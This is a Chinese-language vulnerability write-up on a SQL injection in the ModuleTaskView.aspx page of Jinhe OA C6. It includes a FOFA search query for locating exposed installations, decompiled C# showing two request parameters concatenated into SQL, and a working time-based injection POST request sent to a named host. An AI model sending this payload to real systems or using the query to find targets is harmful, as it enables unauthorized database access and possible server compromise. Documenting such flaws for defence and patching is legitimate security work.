漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 ModuleTaskView.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 ModuleTaskView.aspx 的实现,在 bin 目录下查找 JHSoft.Web.DailyTaskManage.dll 将其进行反编译后找到 ModuleTaskView 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
this.htc = ((CultureInfo) this.Session["culture"]).Name + ".css";
this.InitText();
if (this.Request["OriginModule"] != null)
this.strOriginModule = this.Request["OriginModule"].ToString();
if (this.Request["OriginID"] != null)
this.strOriginID = this.Request["OriginID"].ToString();
this.GetTaskList();
this.ListPage1.WidthStyle = UserWebControl.DataGrid.DataGrid.EnumWidthStyle.Fix;
if (!string.op_Equality(this.strOriginModule, "Approve"))
return;
this.ListPage1.ThisHeight = "380";
}
再跟进 GetTaskList 方法,其实现如下
private void GetTaskList()
{
string str1 = " select a.TaskID,a.TaskNumber,TaskFatherID,a.TaskName,u1.UserName as TaskSendPersonName, " + " a.TaskStartTime,a.TaskEndTime,a.TaskProgress,a.TaskFinishFlag,c.TaskRExecutorSay,c.UserName as ReportorName,c.TaskRRectime,TaskRRecfinprogress,c.ReportFiles" + " from TaskManage a inner join dbo.Users u1 on a.TaskSendPersonID = u1.UserID" + " Left join (select *,dbo.f_TaskReportDoc([ID]) as ReportFiles from TaskManageExecutorsay A inner join Users B on A.TaskExecutorID=B.UserID) c on a.TaskID = c.TaskID ";
string sql;
if (string.op_Equality(this.strOriginModule, "CRMCustomer"))
{
this.ListPage1.Buttons.Clear();
sql = $"{str1} where a.TaskIsdel = 0 and a.OriginModule = 'CRMExec' and a.OriginID in (select SaleExec_ID from JHCrm_SaleExec where Customer_ID = '{this.strOriginID}') order by c.TaskRRecTime desc";
}
else if (string.op_Equality(this.strOriginModule.ToLower(), "crmexec"))
{
this.ListPage1.Buttons.Clear();
sql = $"{str1} where a.TaskIsdel = 0 and a.OriginModule = '{this.strOriginModule}' and a.OriginID = '{this.strOriginID}' order by c.TaskRRecTime desc";
}
else
{
this.ListPage1.Buttons.Clear();
this.ListPage1.Buttons.Add("../JHsoft.UI.Lib/images/icon.toolbar/16px/new.png", this.AssignTask);
sql = $"{str1} where a.TaskIsdel = 0 and a.OriginModule = '{this.strOriginModule}' and a.OriginID = '{this.strOriginID}' order by c.TaskRRecTime desc";
}
DataTable dataTable = Common.ExecSqlReDt(sql);
参数 strOriginModule、strOriginID 被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。
漏洞复现
POST /c6/Jhsoft.Web.dailytaskmanage/ModuleTaskView.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded
OriginModule=crmexec&OriginID='WAitFor+DelaY'0:0:4'--

成功延时 4 秒钟





